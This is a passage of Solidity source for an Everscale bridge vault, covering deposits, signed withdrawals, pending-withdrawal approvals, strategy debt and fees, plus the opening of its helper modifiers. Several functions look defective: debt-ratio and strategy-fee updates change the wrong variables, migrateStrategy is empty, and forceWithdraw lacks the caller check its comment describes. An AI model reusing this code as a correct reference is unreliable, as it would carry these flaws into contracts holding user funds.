function acceptGovernance()
external
override
onlyPendingGovernance
{
governance = pendingGovernance;
emit UpdateGovernance(governance);
}
/// @notice Changes the management address.
/// This may only be called by `governance`
/// @param _management The address to use for management.
function setManagement(
address _management
)
external
override
onlyGovernance
{
management = _management;
emit UpdateManagement(management);
}
/// @notice Changes the address of `guardian`.
/// This may only be called by `governance` or `guardian`.
/// @param _guardian The new guardian address to use.
function setGuardian(
address _guardian
) external override onlyGovernanceOrGuardian {
guardian = _guardian;
emit UpdateGuardian(guardian);
}
/// @notice Changes the address of `withdrawGuardian`.
/// This may only be called by `governance` or `withdrawGuardian`.
/// @param _withdrawGuardian The new withdraw guardian address to use.
function setWithdrawGuardian(
address _withdrawGuardian
) external override onlyGovernanceOrWithdrawGuardian {
withdrawGuardian = _withdrawGuardian;
emit UpdateWithdrawGuardian(withdrawGuardian);
}
/// @notice Set strategy rewards_ recipient address.
/// This may only be called by the `governance` or strategy rewards_ manager.
/// @param strategyId Strategy address.
/// @param _rewards Rewards recipient.
function setStrategyRewards(
address strategyId,
EverscaleAddress memory _rewards
)
external
override
onlyGovernanceOrStrategyRewardsManager(strategyId)
strategyExists(strategyId)
{
_strategyRewardsUpdate(strategyId, _rewards);
emit StrategyUpdateRewards(strategyId, _rewards.wid, _rewards.addr);
}
/// @notice Set address to receive rewards_ (fees, gains, etc)
/// This may be called only by `governance`
/// @param _rewards Rewards receiver in Everscale network
function setRewards(
EverscaleAddress memory _rewards
) external override onlyGovernance {
rewards_ = _rewards;
emit UpdateRewards(rewards_.wid, rewards_.addr);
}
/// @notice Changes the locked profit degradation
/// @param degradation The rate of degradation in percent per second scaled to 1e18
function setLockedProfitDegradation(
uint256 degradation
) external override onlyGovernance {
require(degradation <= DEGRADATION_COEFFICIENT);
lockedProfitDegradation = degradation;
}
/// @notice Changes the maximum amount of `token` that can be deposited in this Vault
/// Note, this is not how much may be deposited by a single depositor,
/// but the maximum amount that may be deposited across all depositors.
/// This may be called only by `governance`
/// @param limit The new deposit limit to use.
function setDepositLimit(
uint256 limit
) external override onlyGovernance {
depositLimit = limit;
emit UpdateDepositLimit(depositLimit);
}
/// @notice Changes the value of `performanceFee`.
/// Should set this value below the maximum strategist performance fee.
/// This may only be called by `governance`.
/// @param fee The new performance fee to use.
function setPerformanceFee(
uint256 fee
) external override onlyGovernance {
require(fee <= MAX_BPS / 2);
performanceFee = fee;
emit UpdatePerformanceFee(performanceFee);
}
/// @notice Changes the value of `managementFee`.
/// This may only be called by `governance`.
/// @param fee The new management fee to use.
function setManagementFee(
uint256 fee
) external override onlyGovernance {
require(fee <= MAX_BPS);
managementFee = fee;
emit UpdateManagementFee(managementFee);
}
/// @notice Changes the value of `withdrawLimitPerPeriod`
/// This may only be called by `governance`
/// @param _withdrawLimitPerPeriod The new withdraw limit per period to use.
function setWithdrawLimitPerPeriod(
uint256 _withdrawLimitPerPeriod
) external override onlyGovernance {
withdrawLimitPerPeriod = _withdrawLimitPerPeriod;
emit UpdateWithdrawLimitPerPeriod(withdrawLimitPerPeriod);
}
/// @notice Changes the value of `undeclaredWithdrawLimit`
/// This may only be called by `governance`
/// @param _undeclaredWithdrawLimit The new undeclared withdraw limit to use.
function setUndeclaredWithdrawLimit(
uint256 _undeclaredWithdrawLimit
) external override onlyGovernance {
undeclaredWithdrawLimit = _undeclaredWithdrawLimit;
emit UpdateUndeclaredWithdrawLimit(undeclaredWithdrawLimit);
}
/// @notice Activates or deactivates Vault emergency mode, where all Strategies go into full withdrawal.
/// During emergency shutdown:
/// - Deposits are disabled
/// - Withdrawals are disabled (all types of withdrawals)
/// - Each Strategy must pay back their debt as quickly as reasonable to minimally affect their position
/// - Only `governance` may undo Emergency Shutdown
/// This may only be called by `governance` or `guardian`.
/// @param active If `true`, the Vault goes into Emergency Shutdown. If `false`, the Vault goes back into
/// Normal Operation.
function setEmergencyShutdown(
bool active
) external override {
if (active) {
require(msg.sender == guardian || msg.sender == governance);
} else {
require(msg.sender == governance);
}
emergencyShutdown = active;
emit EmergencyShutdown(active);
}
/// @notice Changes `withdrawalQueue`
/// This may only be called by `governance`
function setWithdrawalQueue(
address[20] memory queue
) external override onlyGovernanceOrManagement {
withdrawalQueue_ = queue;
emit UpdateWithdrawalQueue(withdrawalQueue_);
}
/**
@notice Changes pending withdrawal bounty for specific pending withdrawal
@param id Pending withdrawal ID.
@param bounty The new value for pending withdrawal bounty.
*/
function setPendingWithdrawalBounty(
uint256 id,
uint256 bounty
)
public
override
pendingWithdrawalOpened(PendingWithdrawalId(msg.sender, id))
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(PendingWithdrawalId(msg.sender, id));
require(bounty <= pendingWithdrawal.amount);
_pendingWithdrawalBountyUpdate(PendingWithdrawalId(msg.sender, id), bounty);
}
/// @notice Returns the total quantity of all assets under control of this
/// Vault, whether they're loaned out to a Strategy, or currently held in
/// the Vault.
/// @return The total assets under control of this Vault.
function totalAssets() external view override returns (uint256) {
return _totalAssets();
}
function _deposit(
EverscaleAddress memory recipient,
uint256 amount
) internal {
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
uint256 fee = _calculateMovementFee(amount, depositFee);
_transferToEverscale(recipient, amount - fee);
if (fee > 0) _transferToEverscale(rewards_, fee);
}
/// @notice Deposits `token` into the Vault, leads to producing corresponding token
/// on the Everscale side.
/// @param recipient Recipient in the Everscale network
/// @param amount Amount of `token` to deposit
function deposit(
EverscaleAddress memory recipient,
uint256 amount
)
public
override
onlyEmergencyDisabled
respectDepositLimit(amount)
nonReentrant
{
_deposit(recipient, amount);
emit UserDeposit(msg.sender, recipient.wid, recipient.addr, amount, address(0), 0, 0);
}
/// @notice Same as regular `deposit`, but fills pending withdrawal.
/// Pending withdrawal recipient receives `pendingWithdrawal.amount - pendingWithdrawal.bounty`.
/// Deposit author receives `amount + pendingWithdrawal.bounty`.
/// @param recipient Deposit recipient in the Everscale network.
/// @param amount Amount of tokens to deposit.
/// @param pendingWithdrawalId Pending withdrawal ID to fill.
function deposit(
EverscaleAddress memory recipient,
uint256 amount,
PendingWithdrawalId memory pendingWithdrawalId
)
public
override
onlyEmergencyDisabled
respectDepositLimit(amount)
nonReentrant
pendingWithdrawalApproved(pendingWithdrawalId)
pendingWithdrawalOpened(pendingWithdrawalId)
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(amount >= pendingWithdrawal.amount);
_deposit(recipient, amount);
// Send bounty as additional transfer
_transferToEverscale(recipient, pendingWithdrawal.bounty);
uint redeemedAmount = pendingWithdrawal.amount - pendingWithdrawal.bounty;
_pendingWithdrawalAmountReduce(
pendingWithdrawalId,
pendingWithdrawal.amount
);
IERC20(token).safeTransfer(
pendingWithdrawalId.recipient,
redeemedAmount
);
emit UserDeposit(
msg.sender,
recipient.wid,
recipient.addr,
amount,
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
pendingWithdrawal.bounty
);
}
/**
@notice Multicall for `deposit`. Fills multiple pending withdrawals at once.
@param recipient Deposit recipient in the Everscale network.
@param amount List of amount
*/
function deposit(
EverscaleAddress memory recipient,
uint256[] memory amount,
PendingWithdrawalId[] memory pendingWithdrawalId
) external override {
require(amount.length == pendingWithdrawalId.length);
for (uint i = 0; i < amount.length; i++) {
deposit(recipient, amount[i], pendingWithdrawalId[i]);
}
}
function depositToFactory(
uint128 amount,
int8 wid,
uint256 user,
uint256 creditor,
uint256 recipient,
uint128 tokenAmount,
uint128 tonAmount,
uint8 swapType,
uint128 slippageNumerator,
uint128 slippageDenominator,
bytes memory level3
)
external
override
onlyEmergencyDisabled
respectDepositLimit(amount)
{
require(
tokenAmount <= amount &&
swapType < 2 &&
user != 0 &&
recipient != 0 &&
creditor != 0 &&
slippageNumerator < slippageDenominator
);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
uint256 fee = _calculateMovementFee(amount, depositFee);
if (fee > 0) _transferToEverscale(rewards_, fee);
emit FactoryDeposit(
uint128(convertToTargetDecimals(amount - fee)),
wid,
user,
creditor,
recipient,
tokenAmount,
tonAmount,
swapType,
slippageNumerator,
slippageDenominator,
0x07,
level3
);
}
/**
@notice Save withdrawal receipt. If Vault has enough tokens and withdrawal passes the
limits, then it's executed immediately. Otherwise it's saved as a pending withdrawal.
@param payload Withdrawal receipt. Bytes encoded `struct EverscaleEvent`.
@param signatures List of relay's signatures. See not on `Bridge.verifySignedEverscaleEvent`.
@return instantWithdrawal Boolean, was withdrawal instantly filled or saved as a pending withdrawal.
@return pendingWithdrawalId Pending withdrawal ID. `(address(0), 0)` if no pending withdrawal was created.
*/
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures
)
public
override
onlyEmergencyDisabled
withdrawalNotSeenBefore(payload)
returns (bool instantWithdrawal, PendingWithdrawalId memory pendingWithdrawalId)
{
require(
IBridge(bridge).verifySignedEverscaleEvent(payload, signatures) == 0,
"Vault: signatures verification failed"
);
// Decode Everscale event
(EverscaleEvent memory _event) = abi.decode(payload, (EverscaleEvent));
require(
_event.configurationWid == configuration_.wid &&
_event.configurationAddress == configuration_.addr
);
bytes32 payloadId = keccak256(payload);
// Decode event data
WithdrawalParams memory withdrawal = decodeWithdrawalEventData(_event.eventData);
require(withdrawal.chainId == _getChainID());
// Ensure withdrawal fee
uint256 fee = _calculateMovementFee(withdrawal.amount, withdrawFee);
if (fee > 0) _transferToEverscale(rewards_, fee);
// Consider withdrawal period limit
WithdrawalPeriodParams memory withdrawalPeriod = _withdrawalPeriod(_event.eventTimestamp);
_withdrawalPeriodIncreaseTotalByTimestamp(_event.eventTimestamp, withdrawal.amount);
bool withdrawalLimitsPassed = _withdrawalPeriodCheckLimitsPassed(withdrawal.amount, withdrawalPeriod);
// Withdrawal is less than limits and Vault's token balance is enough for instant withdrawal
if (withdrawal.amount <= _vaultTokenBalance() && withdrawalLimitsPassed) {
IERC20(token).safeTransfer(withdrawal.recipient, withdrawal.amount - fee);
emit InstantWithdrawal(payloadId, withdrawal.recipient, withdrawal.amount - fee);
return (true, PendingWithdrawalId(address(0), 0));
}
// Save withdrawal as a pending
uint256 id = _pendingWithdrawalCreate(
withdrawal.recipient,
withdrawal.amount - fee,
_event.eventTimestamp
);
emit PendingWithdrawalCreated(withdrawal.recipient, id, withdrawal.amount - fee, payloadId);
pendingWithdrawalId = PendingWithdrawalId(withdrawal.recipient, id);
if (!withdrawalLimitsPassed) {
_pendingWithdrawalApproveStatusUpdate(pendingWithdrawalId, ApproveStatus.Required);
}
return (false, pendingWithdrawalId);
}
/**
@notice Save withdrawal receipt, same as `saveWithdraw(bytes payload, bytes[] signatures)`,
but allows to immediately set up bounty.
@param payload Withdrawal receipt. Bytes encoded `struct EverscaleEvent`.
@param signatures List of relay's signatures. See not on `Bridge.verifySignedEverscaleEvent`.
@param bounty New value for pending withdrawal bounty.
*/
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures,
uint bounty
)
external
override
{
(
bool instantWithdraw,
PendingWithdrawalId memory pendingWithdrawalId
) = saveWithdraw(payload, signatures);
if (!instantWithdraw) {
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require (bounty <= pendingWithdrawal.amount);
_pendingWithdrawalBountyUpdate(pendingWithdrawalId, bounty);
}
}
/**
@notice Cancel pending withdrawal partially or completely.
This may only be called by pending withdrawal recipient.
@param id Pending withdrawal ID
@param amount Amount to cancel, should be less or equal than pending withdrawal amount
@param recipient Tokens recipient, in Everscale network
@param bounty New value for bounty
*/
function cancelPendingWithdrawal(
uint256 id,
uint256 amount,
EverscaleAddress memory recipient,
uint bounty
)
external
override
onlyEmergencyDisabled
pendingWithdrawalApproved(PendingWithdrawalId(msg.sender, id))
pendingWithdrawalOpened(PendingWithdrawalId(msg.sender, id))
{
PendingWithdrawalId memory pendingWithdrawalId = PendingWithdrawalId(msg.sender, id);
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(amount > 0 && amount <= pendingWithdrawal.amount);
_transferToEverscale(recipient, amount);
_pendingWithdrawalAmountReduce(pendingWithdrawalId, amount);
emit PendingWithdrawalCancel(msg.sender, id, amount);
setPendingWithdrawalBounty(id, bounty);
}
/**
@notice Withdraws the calling account's pending withdrawal from this Vault.
@param id Pending withdrawal ID.
@param amountRequested Amount of tokens to be withdrawn.
@param recipient The address to send the redeemed tokens.
@param maxLoss The maximum acceptable loss to sustain on withdrawal.
If a loss is specified, up to that amount of tokens may be burnt to cover losses on withdrawal.
@param bounty New value for bounty.
@return amountAdjusted The quantity of tokens redeemed.
*/
function withdraw(
uint256 id,
uint256 amountRequested,
address recipient,
uint256 maxLoss,
uint256 bounty
)
external
override
onlyEmergencyDisabled
pendingWithdrawalOpened(PendingWithdrawalId(msg.sender, id))
pendingWithdrawalApproved(PendingWithdrawalId(msg.sender, id))
returns(uint256 amountAdjusted)
{
PendingWithdrawalId memory pendingWithdrawalId = PendingWithdrawalId(msg.sender, id);
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(
amountRequested > 0 &&
amountRequested <= pendingWithdrawal.amount &&
bounty <= pendingWithdrawal.amount - amountRequested
);
_pendingWithdrawalBountyUpdate(pendingWithdrawalId, bounty);
amountAdjusted = amountRequested;
if (amountAdjusted > _vaultTokenBalance()) {
uint256 totalLoss = 0;
for (uint i = 0; i < withdrawalQueue_.length; i++) {
address strategyId = withdrawalQueue_[i];
// We're done withdrawing
if (strategyId == address(0)) break;
uint256 vaultBalance = _vaultTokenBalance();
uint256 amountNeeded = amountAdjusted - vaultBalance;
// Don't withdraw more than the debt so that Strategy can still
// continue to work based on the profits it has
// This means that user will lose out on any profits that each
// Strategy in the queue would return on next harvest, benefiting others
amountNeeded = Math.min(
amountNeeded,
_strategy(strategyId).totalDebt
);
// Nothing to withdraw from this Strategy, try the next one
if (amountNeeded == 0) continue;
// Force withdraw value from each Strategy in the order set by governance
uint256 loss = IStrategy(strategyId).withdraw(amountNeeded);
uint256 withdrawn = _vaultTokenBalance() - vaultBalance;
// Withdrawer incurs any losses from liquidation
if (loss > 0) {
amountAdjusted -= loss;
totalLoss += loss;
_strategyReportLoss(strategyId, loss);
}
// Reduce the Strategy's debt by the value withdrawn ("realized returns")
// This doesn't add to returns as it's not earned by "normal means"
_strategyTotalDebtReduce(strategyId, withdrawn);
}
require(_vaultTokenBalance() >= amountAdjusted);
// This loss protection is put in place to revert if losses from
// withdrawing are more than what is considered acceptable.
require(
totalLoss <= maxLoss * (amountAdjusted + totalLoss) / MAX_BPS,
"Vault: loss too high"
);
}
IERC20(token).safeTransfer(recipient, amountAdjusted);
_pendingWithdrawalAmountReduce(pendingWithdrawalId, amountRequested);
emit PendingWithdrawalWithdraw(
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
amountRequested,
amountAdjusted
);
return amountAdjusted;
}
/**
@notice Add a Strategy to the Vault
This may only be called by `governance`
@param strategyId The address of the Strategy to add.
@param _debtRatio The share of the total assets in the `vault that the `strategy` has access to.
@param minDebtPerHarvest Lower limit on the increase of debt since last harvest.
@param maxDebtPerHarvest Upper limit on the increase of debt since last harvest.
@param _performanceFee The fee the strategist will receive based on this Vault's performance.
*/
function addStrategy(
address strategyId,
uint256 _debtRatio,
uint256 minDebtPerHarvest,
uint256 maxDebtPerHarvest,
uint256 _performanceFee
)
external
override
onlyGovernance
onlyEmergencyDisabled
strategyNotExists(strategyId)
{
require(strategyId != address(0));
require(IStrategy(strategyId).vault() == address(this));
require(IStrategy(strategyId).want() == token);
require(debtRatio + _debtRatio <= MAX_BPS);
require(minDebtPerHarvest <= maxDebtPerHarvest);
require(_performanceFee <= MAX_BPS / 2);
_strategyCreate(strategyId, StrategyParams({
performanceFee: _performanceFee,
activation: block.timestamp,
debtRatio: _debtRatio,
minDebtPerHarvest: minDebtPerHarvest,
maxDebtPerHarvest: maxDebtPerHarvest,
lastReport: block.timestamp,
totalDebt: 0,
totalGain: 0,
totalSkim: 0,
totalLoss: 0,
rewardsManager: address(0),
rewards: rewards_
}));
emit StrategyAdded(strategyId, _debtRatio, minDebtPerHarvest, maxDebtPerHarvest, _performanceFee);
_debtRatioIncrease(_debtRatio);
}
/**
@notice Change the quantity of assets `strategy` may manage.
This may be called by `governance` or `management`.
@param strategyId The Strategy to update.
@param _debtRatio The quantity of assets `strategy` may now manage.
*/
function updateStrategyDebtRatio(
address strategyId,
uint256 _debtRatio
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
StrategyParams memory strategy = _strategy(strategyId);
_debtRatioReduce(strategy.debtRatio);
_strategyDebtRatioUpdate(strategyId, _debtRatio);
_debtRatioIncrease(debtRatio);
require(debtRatio <= MAX_BPS);
emit StrategyUpdateDebtRatio(strategyId, _debtRatio);
}
function updateStrategyMinDebtPerHarvest(
address strategyId,
uint256 minDebtPerHarvest
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.maxDebtPerHarvest >= minDebtPerHarvest);
_strategyMinDebtPerHarvestUpdate(strategyId, minDebtPerHarvest);
emit StrategyUpdateMinDebtPerHarvest(strategyId, minDebtPerHarvest);
}
function updateStrategyMaxDebtPerHarvest(
address strategyId,
uint256 maxDebtPerHarvest
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.minDebtPerHarvest <= maxDebtPerHarvest);
_strategyMaxDebtPerHarvestUpdate(strategyId, maxDebtPerHarvest);
emit StrategyUpdateMaxDebtPerHarvest(strategyId, maxDebtPerHarvest);
}
function updateStrategyPerformanceFee(
address strategyId,
uint256 _performanceFee
)
external
override
onlyGovernance
strategyExists(strategyId)
{
require(_performanceFee <= MAX_BPS / 2);
performanceFee = _performanceFee;
emit StrategyUpdatePerformanceFee(strategyId, _performanceFee);
}
function migrateStrategy(
address oldVersion,
address newVersion
)
external
override
onlyGovernance
strategyExists(oldVersion)
strategyNotExists(newVersion)
{
}
function revokeStrategy(
address strategyId
)
external
override
onlyStrategyOrGovernanceOrGuardian(strategyId)
{
_strategyRevoke(strategyId);
emit StrategyRevoked(strategyId);
}
function revokeStrategy()
external
override
onlyStrategyOrGovernanceOrGuardian(msg.sender)
{
_strategyRevoke(msg.sender);
emit StrategyRevoked(msg.sender);
}
function debtOutstanding(
address strategyId
)
external
view
override
returns (uint256)
{
return _strategyDebtOutstanding(strategyId);
}
function debtOutstanding()
external
view
override
returns (uint256)
{
return _strategyDebtOutstanding(msg.sender);
}
function creditAvailable(
address strategyId
)
external
view
override
returns (uint256)
{
return _strategyCreditAvailable(strategyId);
}
function creditAvailable()
external
view
override
returns (uint256)
{
return _strategyCreditAvailable(msg.sender);
}
function availableDepositLimit()
external
view
override
returns (uint256)
{
if (depositLimit > _totalAssets()) {
return depositLimit - _totalAssets();
}
return 0;
}
function expectedReturn(
address strategyId
)
external
override
view
returns (uint256)
{
return _strategyExpectedReturn(strategyId);
}
function _assessFees(
address strategyId,
uint256 gain
) internal returns (uint256) {
StrategyParams memory strategy = _strategy(strategyId);
// Just added, no fees to assess
if (strategy.activation == block.timestamp) return 0;
uint256 duration = block.timestamp - strategy.lastReport;
require(duration > 0); // Can't call twice within the same block
if (gain == 0) return 0; // The fees are not charged if there hasn't been any gains reported
uint256 management_fee = (
strategy.totalDebt - IStrategy(strategyId).delegatedAssets()
) * duration * managementFee / MAX_BPS / SECS_PER_YEAR;
uint256 strategist_fee = (gain * strategy.performanceFee) / MAX_BPS;
uint256 performance_fee = (gain * performanceFee) / MAX_BPS;
uint256 total_fee = management_fee + strategist_fee + performance_fee;
// Fee
if (total_fee > gain) {
strategist_fee = strategist_fee * gain / total_fee;
performance_fee = performance_fee * gain / total_fee;
management_fee = management_fee * gain / total_fee;
total_fee = gain;
}
if (strategist_fee > 0) {
_transferToEverscale(strategy.rewards, strategist_fee);
}
if (performance_fee + management_fee > 0) {
_transferToEverscale(rewards_, performance_fee + management_fee);
}
return total_fee;
}
/**
@notice Reports the amount of assets the calling Strategy has free (usually in
terms of ROI).
The performance fee is determined here, off of the strategy's profits
(if any), and sent to governance.
The strategist's fee is also determined here (off of profits), to be
handled according to the strategist on the next harvest.
This may only be called by a Strategy managed by this Vault.
@dev For approved strategies, this is the most efficient behavior.
The Strategy reports back what it has free, then Vault "decides"
whether to take some back or give it more. Note that the most it can
take is `gain + _debtPayment`, and the most it can give is all of the
remaining reserves. Anything outside of those bounds is abnormal behavior.
All approved strategies must have increased diligence around
calling this function, as abnormal behavior could become catastrophic.
@param gain Amount Strategy has realized as a gain on it's investment since its
last report, and is free to be given back to Vault as earnings
@param loss Amount Strategy has realized as a loss on it's investment since its
last report, and should be accounted for on the Vault's balance sheet.
The loss will reduce the debtRatio. The next time the strategy will harvest,
it will pay back the debt in an attempt to adjust to the new debt limit.
@param _debtPayment Amount Strategy has made available to cover outstanding debt
@return Amount of debt outstanding (if totalDebt > debtLimit or emergency shutdown).
*/
function report(
uint256 gain,
uint256 loss,
uint256 _debtPayment
)
external
override
strategyExists(msg.sender)
returns (uint256)
{
if (loss > 0) _strategyReportLoss(msg.sender, loss);
uint256 totalFees = _assessFees(msg.sender, gain);
_strategyTotalGainIncrease(msg.sender, gain);
// Compute the line of credit the Vault is able to offer the Strategy (if any)
uint256 credit = _strategyCreditAvailable(msg.sender);
// Outstanding debt the Strategy wants to take back from the Vault (if any)
// debtOutstanding <= strategy.totalDebt
uint256 debt = _strategyDebtOutstanding(msg.sender);
uint256 debtPayment = Math.min(_debtPayment, debt);
if (debtPayment > 0) {
_strategyTotalDebtReduce(msg.sender, debtPayment);
debt -= debtPayment;
}
// Update the actual debt based on the full credit we are extending to the Strategy
// or the returns if we are taking funds back
// NOTE: credit + self.strategies_[msg.sender].totalDebt is always < self.debtLimit
// NOTE: At least one of `credit` or `debt` is always 0 (both can be 0)
if (credit > 0) {
_strategyTotalDebtIncrease(msg.sender, credit);
}
// Give/take balance to Strategy, based on the difference between the reported gains
// (if any), the debt payment (if any), the credit increase we are offering (if any),
// and the debt needed to be paid off (if any)
// NOTE: This is just used to adjust the balance of tokens between the Strategy and
// the Vault based on the Strategy's debt limit (as well as the Vault's).
uint256 totalAvailable = gain + debtPayment;
if (totalAvailable < credit) { // credit surplus, give to Strategy
IERC20(token).safeTransfer(msg.sender, credit - totalAvailable);
} else if (totalAvailable > credit) { // credit deficit, take from Strategy
IERC20(token).safeTransferFrom(msg.sender, address(this), totalAvailable - credit);
} else {
// don't do anything because it is balanced
}
// Profit is locked and gradually released per block
// NOTE: compute current locked profit and replace with sum of current and new
uint256 lockedProfitBeforeLoss = _calculateLockedProfit() + gain - totalFees;
if (lockedProfitBeforeLoss > loss) {
lockedProfit = lockedProfitBeforeLoss - loss;
} else {
lockedProfit = 0;
}
_strategyLastReportUpdate(msg.sender);
StrategyParams memory strategy = _strategy(msg.sender);
emit StrategyReported(
msg.sender,
gain,
loss,
debtPayment,
strategy.totalGain,
strategy.totalSkim,
strategy.totalLoss,
strategy.totalDebt,
credit,
strategy.debtRatio
);
if (strategy.debtRatio == 0 || emergencyShutdown) {
// Take every last penny the Strategy has (Emergency Exit/revokeStrategy)
// NOTE: This is different than `debt` in order to extract *all* of the returns
return IStrategy(msg.sender).estimatedTotalAssets();
} else {
return debt;
}
}
/**
@notice Skim strategy gain to the `rewards_` address.
This may only be called by `governance` or `management`
@param strategyId Strategy address to skim.
*/
function skim(
address strategyId
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
uint amount = strategies_[strategyId].totalGain - strategies_[strategyId].totalSkim;
require(amount > 0);
strategies_[strategyId].totalSkim += amount;
_transferToEverscale(rewards_, amount);
}
/**
@notice Removes tokens from this Vault that are not the type of token managed
by this Vault. This may be used in case of accidentally sending the
wrong kind of token to this Vault.
Tokens will be sent to `governance`.
This will fail if an attempt is made to sweep the tokens that this
Vault manages.
This may only be called by `governance`.
@param _token The token to transfer out of this vault.
*/
function sweep(
address _token
) external override onlyGovernance {
require(token != _token);
uint256 amount = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(governance, amount);
}
/**
@notice Force user's pending withdraw. Works only if Vault has enough
tokens on its balance.
This may only be called by wrapper.
@param pendingWithdrawalId Pending withdrawal ID
*/
function forceWithdraw(
PendingWithdrawalId memory pendingWithdrawalId
)
public
override
onlyEmergencyDisabled
pendingWithdrawalOpened(pendingWithdrawalId)
pendingWithdrawalApproved(pendingWithdrawalId)
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
IERC20(token).safeTransfer(pendingWithdrawalId.recipient, pendingWithdrawal.amount);
_pendingWithdrawalAmountReduce(pendingWithdrawalId, pendingWithdrawal.amount);
emit PendingWithdrawalForce(pendingWithdrawalId.recipient, pendingWithdrawalId.id);
}
/**
@notice Multicall for `forceWithdraw`
@param pendingWithdrawalId List of pending withdrawal IDs
*/
function forceWithdraw(
PendingWithdrawalId[] memory pendingWithdrawalId
) external override {
for (uint i = 0; i < pendingWithdrawalId.length; i++) {
forceWithdraw(pendingWithdrawalId[i]);
}
}
/**
@notice Set approve status for pending withdrawal.
Pending withdrawal must be in `Required` (1) approve status, so approve status can be set only once.
If Vault has enough tokens on its balance - withdrawal will be filled immediately.
This may only be called by `governance` or `withdrawGuardian`.
@param pendingWithdrawalId Pending withdrawal ID.
@param approveStatus Approve status. Must be `Approved` (2) or `Rejected` (3).
*/
function setPendingWithdrawalApprove(
PendingWithdrawalId memory pendingWithdrawalId,
ApproveStatus approveStatus
)
public
override
onlyGovernanceOrWithdrawGuardian
pendingWithdrawalOpened(pendingWithdrawalId)
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(pendingWithdrawal.approveStatus == ApproveStatus.Required);
require(
approveStatus == ApproveStatus.Approved ||
approveStatus == ApproveStatus.Rejected
);
_pendingWithdrawalApproveStatusUpdate(pendingWithdrawalId, approveStatus);
// Fill approved withdrawal
if (approveStatus == ApproveStatus.Approved && pendingWithdrawal.amount <= _vaultTokenBalance()) {
_pendingWithdrawalAmountReduce(pendingWithdrawalId, pendingWithdrawal.amount);
IERC20(token).safeTransfer(
pendingWithdrawalId.recipient,
pendingWithdrawal.amount
);
emit PendingWithdrawalWithdraw(
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
pendingWithdrawal.amount,
pendingWithdrawal.amount
);
}
// Update withdrawal period considered amount
_withdrawalPeriodIncreaseConsideredByTimestamp(
pendingWithdrawal.timestamp,
pendingWithdrawal.amount
);
}
/**
@notice Multicall for `setPendingWithdrawalApprove`.
@param pendingWithdrawalId List of pending withdrawals IDs.
@param approveStatus List of approve statuses.
*/
function setPendingWithdrawalApprove(
PendingWithdrawalId[] memory pendingWithdrawalId,
ApproveStatus[] memory approveStatus
) external override {
require(pendingWithdrawalId.length == approveStatus.length);
for (uint i = 0; i < pendingWithdrawalId.length; i++) {
setPendingWithdrawalApprove(pendingWithdrawalId[i], approveStatus[i]);
}
}
function _transferToEverscale(
EverscaleAddress memory recipient,
uint256 _amount
) internal {
uint256 amount = convertToTargetDecimals(_amount);
emit Deposit(amount, recipient.wid, recipient.addr);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "../libraries/Math.sol";
import "../interfaces/IStrategy.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./VaultStorage.sol";
abstract contract VaultHelpers is VaultStorage {
modifier onlyGovernance() {
require(msg.sender == governance);
_;
}
modifier onlyPendingGovernance() {
require(msg.sender == pendingGovernance);
_;
}
modifier onlyStrategyOrGovernanceOrGuardian(address strategyId) {
require(msg.sender == strategyId || msg.sender == governance || msg.sender == guardian);
_;
}
modifier onlyGovernanceOrManagement() {
require(msg.sender == governance || msg.sender == management);
_;
}
modifier onlyGovernanceOrGuardian() {
require(msg.sender == governance || msg.sender == guardian);
_;
}
modifier onlyGovernanceOrWithdrawGuardian() {
require(msg.sender == governance || msg.sender == withdrawGuardian);
_;
}
modifier onlyGovernanceOrStrategyRewardsManager(address strategyId) {
require(msg.sender == governance || msg.sender == strategies_[strategyId].rewardsManager);
_;
}
modifier pendingWithdrawalOpened(
PendingWithdrawalId memory pendingWithdrawalId
) {
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(pendingWithdrawal.amount > 0, "Vault: pending withdrawal closed");
_;
}
modifier pendingWithdrawalApproved(
PendingWithdrawalId memory pendingWithdrawalId
) {
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(
pendingWithdrawal.approveStatus == ApproveStatus.NotRequired ||
pendingWithdrawal.approveStatus == ApproveStatus.Approved,
"Vault: pending withdrawal not approved"
);
_;
}
modifier strategyExists(address strategyId) {
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.activation > 0, "Vault: strategy not exists");
_;
}
modifier strategyNotExists(address strategyId) {
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.activation == 0, "Vault: strategy exists");
_;
}
modifier respectDepositLimit(uint amount) {
require(
_totalAssets() + amount <= depositLimit,
"Vault: respect the deposit limit"
);
_;
}
modifier onlyEmergencyDisabled() {
require(!emergencyShutdown, "Vault: emergency mode enabled");
_;
}
modifier withdrawalNotSeenBefore(bytes memory payload) {
bytes32 withdrawalId = keccak256(payload);
require(!withdrawalIds[withdrawalId], "Vault: withdraw payload already seen");
_;
withdrawalIds[withdrawalId] = true;
}
function decodeWithdrawalEventData(
bytes memory eventData
) public view override returns(WithdrawalParams memory) {
(
int8 sender_wid,
uint256 sender_addr,
uint128 amount,
uint160 recipient,
uint32 chainId
